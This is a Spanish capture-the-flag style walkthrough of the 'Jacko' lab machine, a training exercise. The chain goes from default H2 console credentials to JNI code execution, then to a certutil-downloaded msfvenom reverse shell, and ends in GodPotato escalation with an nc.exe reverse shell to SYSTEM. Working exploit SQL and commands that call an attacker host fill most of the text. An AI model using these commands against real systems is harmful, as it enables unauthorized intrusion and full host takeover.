the_open_door
café
ESEN

Jacko

Proving Grounds PracticeMediaWindows192.168.212.66

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#h2-database#jni-code-execution#godpotato#seimpersonate#msfvenom#certutil#path-restoration#rce#oscp
TL;DR. Jacko expone la consola web de una H2 Database 1.4.199 (puerto 8082) accesible con las credenciales por defecto (sa sin contraseña). Esa versión permite cargar una librería nativa arbitraria vía JNI y ejecutar comandos (H2 JNI RCE): escribimos una DLL con CSVWRITE, la cargamos con System.load y ejecutamos un binario que nos da shell como jacko\tony. La cuenta tiene SeImpersonatePrivilege, así que un GodPotato (familia Potato) nos lleva a nt authority\system.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos todos los puertos TCP y luego identificamos servicios sobre los abiertos:

ping -c 1 192.168.212.66
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.212.66
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5040/tcp open  unknown
7680/tcp open  pando-pub
8082/tcp open  http
9092/tcp open  XmlIpcRegSvc
nmap -p80,135,139,445,5040,7680,8082,9092 -sCV 192.168.212.66 -oN targetedScan
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8082/tcp  open  http          H2 database http console
|_http-title: H2 Console
9092/tcp  open  XmlIpcRegSvc?

El dato que manda es claro: el 80 redirige a una H2 Database Engine y el 8082 sirve directamente la consola web de H2. El 9092 es el puerto TCP del propio motor H2 (su servidor de conexiones). H2 es una base de datos Java embebida; su consola web suele permitir definir y abrir conexiones JDBC arbitrarias, y ahí está el punto interesante.

H2 Console - TCP 8082

La consola abre con un formulario de login JDBC preconfigurado como Generic H2 (Embedded): clase org.h2.Driver, URL jdbc:h2:~/test, usuario sa y contraseña vacía. Son las credenciales por defecto de H2, y aquí no se han cambiado:

Login de la consola H2 en el puerto 8082 con la configuración Generic H2 (Embedded): driver org.h2.Driver, JDBC URL jdbc:h2:~/test, usuario sa y contraseña en blanco

El usuario sa con contraseña vacía son las credenciales por defecto de H2, documentadas en cualquier hilo sobre la base de datos:

Respuesta de StackOverflow: credenciales por defecto de H2 name = "sa", password = ""

Al conectar entramos en la consola SQL. El panel lateral revela la versión exacta del motor, H2 1.4.199 (2019-03-13):

Consola H2 conectada a jdbc:h2:~/test; el árbol lateral muestra la versión H2 1.4.199 (2019-03-13)

Esa versión es la clave. H2 1.4.199 permite, desde una sesión SQL autenticada, escribir ficheros en disco y cargar librerías nativas vía JNI, lo que se traduce en ejecución de comandos.

Explotación

H2 1.4.199: ejecución de comandos vía JNI (Exploit-DB 49384)

searchsploit documenta el vector exacto para esta versión:

searchsploit 'h2 database 1.4.199'
searchsploit -m java/local/49384.txt
H2 Database 1.4.199 - JNI Code Execution     | java/local/49384.txt
   URL: https://www.exploit-db.com/exploits/49384

El exploit de Markus Wulftange (Exploit-DB 49384) trae el SQL completo: la DLL ya compilada, incrustada como cadena de caracteres, y las llamadas para cargarla y evaluar código:

Página de Exploit-DB 49384: H2 Database 1.4.199 - JNI Code Execution con el SQL de CSVWRITE, System.load y eval

La técnica tiene tres pasos, todos como sentencias SQL (H2 JNI RCE). Primero CSVWRITE escribe en disco una librería nativa (JNIScriptEngine.dll) cuyos bytes vienen incrustados como caracteres en el propio SQL:

Consola H2 ejecutando el CSVWRITE que escribe JNIScriptEngine.dll en C:\Windows\Temp

Después se declara un alias sobre java.lang.System.load y se carga la DLL (la consulta devuelve null, es decir, cargó sin error):

CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

System.load ejecutado con éxito: PUBLIC.SYSTEM_LOAD devuelve null (1 row)

Por último se declara un alias sobre el método eval que expone la propia librería, que evalúa código Java arbitrario. Lo usamos para invocar Runtime.exec y comprobar el contexto de ejecución:

CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

La consulta devuelve la salida del comando dentro de la propia consola: el servicio H2 corre como jacko\tony.

La consola H2 ejecuta JNIScriptEngine_eval con Runtime.exec("whoami"); el resultado de la consulta muestra jacko\tony

Shell como tony

Convertir esa ejecución puntual en una shell interactiva es directo. El primer intento se hizo con un rev.exe, y sirve para ver el flujo completo de la consola H2: arriba el SQL statement que se escribe, abajo el eco de la sentencia, su resultado en azul y, dentro, la salida real del proceso Windows.

la consola H2 con el CALL JNIScriptEngine_eval que ejecuta certutil para bajar rev.exe a Windows Temp, y abajo la respuesta con CertUtil URLCache command completed successfully

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -f -urlcache -split http://192.168.45.177/rev.exe C:\\Windows\\Temp\\rev.exe").getInputStream()).useDelimiter("\\Z").next()');

**** Online ****
  0000  ...
  0144
CertUtil: -URLCache command completed successfully.
(1 row, 204 ms)

En el panel de la izquierda se lee también la versión exacta del motor, H2 1.4.199 (2019-03-13), que es la que hace que este JNIScriptEngine esté disponible.

El binario definitivo se genera con msfvenom, se sirve por HTTP y se descarga con certutil desde la propia ejecución JNI:

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.177 LPORT=8082
python3 -m http.server 80
rlwrap nc -nlvp 8082

msfvenom genera shell.exe (460 bytes de payload), http.server sirviendo y nc a la escucha en el 8082

Desde la propia ejecución JNI, certutil descarga el binario y lo lanza:

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -f -urlcache -split http://192.168.45.177/shell.exe C:\\Windows\\Temp\\shell.exe").getInputStream()).useDelimiter("\\Z").next()');
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:\\Windows\\Temp\\shell.exe").getInputStream()).useDelimiter("\\Z").next()');

La consola H2 ejecuta el certutil que descarga shell.exe; CertUtil: -URLCache command completed successfully

El listener recibe la conexión y obtenemos shell como jacko\tony:

msfvenom genera shell.exe, el servidor HTTP registra la descarga y el listener en el 8082 recibe la reverse shell como jacko\tony

connect to [192.168.45.177] from (UNKNOWN) [192.168.212.66] 64176
Microsoft Windows [Version 10.0.18363.836]

C:\Windows\System32>whoami.exe
jacko\tony

Un detalle de esta shell: como hereda el entorno del proceso H2, viene con la variable PATH recortada y comandos básicos como whoami no se resuelven hasta que indicamos la ruta completa (whoami.exe).

Post-explotación

Local

type Desktop\local.txt & whoami & ipconfig & hostname

local.txt leída como jacko\tony en la máquina JACKO (192.168.212.66)

011cd16d3a5924ab32cfe79a531778b7
jacko\tony

Escalada: SeImpersonate + GodPotato

Lo primero es restaurar un PATH razonable para poder trabajar con comodidad, y con él comprobamos los privilegios del token:

set PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\
whoami /priv

whoami /priv tras restaurar el PATH: SeImpersonatePrivilege y SeCreateGlobalPrivilege aparecen Enabled

Privilege Name                Description                               State
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege habilitado es la entrada habitual de la familia Potato: una cuenta de servicio con este privilegio puede forzar a un servicio SYSTEM a autenticarse contra un named pipe que controlamos y robar su token (abuso de SeImpersonate). systeminfo confirma el sistema, Windows 10 Pro build 18363 (x64):

systeminfo: Host Name JACKO, OS Windows 10 Pro, OS Version 10.0.18363 Build 18363, System Type x64

En Windows 10 / Server 2019, JuicyPotato ya no funciona por los cambios en el broker DCOM; la herramienta que sí lo cubre es GodPotato, que abusa del mismo flujo a través de RPC/DCOM.

GodPotato depende de la versión de .NET Framework instalada, así que la consultamos en el registro:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse

El registro muestra .NET Framework v4 con TargetVersion 4.0.0 y Version 4.8.03752

InstallPath   : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
TargetVersion : 4.0.0
Version       : 4.8.03752

Hay .NET 4, así que descargamos la build GodPotato-NET4, la subimos con certutil y comprobamos que nos devuelve ejecución como SYSTEM:

wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O godpotatonet4.exe
python3 -m http.server 80

wget descarga GodPotato-NET4.exe (V1.20) y python3 -m http.server 80 lo sirve

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://192.168.45.177/godpotatonet4.exe godpotatonet4.exe
.\godpotatonet4.exe -cmd "whoami"

GodPotato crea un named pipe, dispara el servicio RPCSS y roba el token de SYSTEM:

GodPotato -cmd "whoami": tras Trigger RPCSS y Pipe Connected, CurrentUser pasa a NT AUTHORITY\SYSTEM

[*] Trigger RPCSS
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 792 Token:0x768  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] CurrentUser: NT AUTHORITY\SYSTEM

La ejecución de GodPotato confirma el robo del token de SYSTEM. Para una shell interactiva, repetimos con un nc.exe, más abajo.

Shell como SYSTEM y Proof

Para una shell completa, dejamos que GodPotato lance un nc.exe contra nuestro listener. Primero traemos el nc.exe (reutilizamos el de otra máquina) y lo servimos por HTTP:

locate nc.exe
cp /machines/bart/exploits/nc.exe .
python3 -m http.server 80

Se localiza y sirve el nc.exe por HTTP desde Kali

# locate nc.exe | head -n 10
/machines/bart/exploits/nc.exe
...
# cp /machines/bart/exploits/nc.exe .
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con nc a la escucha en el 445:

rlwrap nc -nlvp 445
certutil.exe -f -urlcache -split http://192.168.45.177/nc.exe nc.exe
.\godpotatonet4.exe -cmd ".\nc.exe 192.168.45.177 445 -e cmd.exe"

GodPotato lanza nc.exe y el listener recibe una shell como nt authority\system

[*] Start Search System Token
[*] PID : 792 Token:0x768  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2432

# rlwrap nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.212.66] 64271
Microsoft Windows [Version 10.0.18363.836]
C:\Windows\system32>

GodPotato roba el token de SYSTEM (CurrentUser: NT AUTHORITY\SYSTEM) y lanza nc.exe, que conecta de vuelta al listener: recibimos una shell como nt authority\system.

Ya como SYSTEM, leemos la prueba en el escritorio del administrador:

type C:\Users\Administrator\Desktop\proof.txt & ipconfig & hostname

proof.txt leída como nt authority\system en JACKO

d3bfaae06721afd9829899dfe316bc45

Cadena de ataque

H2 Console (8082)  --  credenciales por defecto sa / (vacia)
        │  H2 1.4.199 -> JNI Code Execution (Exploit-DB 49384)
        ▼
CSVWRITE escribe JNIScriptEngine.dll  ->  System.load  ->  JNIScriptEngine.eval
        │  Runtime.exec + certutil descarga shell.exe
        ▼
shell como jacko\tony  (local.txt)
        │  SeImpersonatePrivilege Enabled + .NET 4 -> GodPotato-NET4
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • Las credenciales por defecto siguen abriendo puertas. La consola de H2 venía con sa sin contraseña; no hizo falta romper nada para entrar en una sesión SQL con capacidad de escribir en disco.
  • Una base de datos que carga código nativo es ejecución de comandos. H2 1.4.199 permite CSVWRITE + System.load + un alias eval: tres sentencias SQL encadenadas que cargan una DLL y evalúan Java arbitrario. El motor de datos se convierte en un intérprete.
  • SeImpersonatePrivilege en una cuenta de servicio suele significar SYSTEM. Las cuentas de servicio lo tienen por diseño, y la familia Potato lo convierte en escalada. En Server 2019 / Windows 10, GodPotato es la variante que reemplaza al ya mitigado JuicyPotato; conviene casar la build con la versión de .NET.
  • Atención al PATH heredado en shells de servicio. La reverse shell entró con el entorno del proceso H2 y whoami no se resolvía; restaurar PATH es un primer paso que ahorra confusión antes de enumerar.
Cheatsheet de comandos 9 comandos

Repaso rápido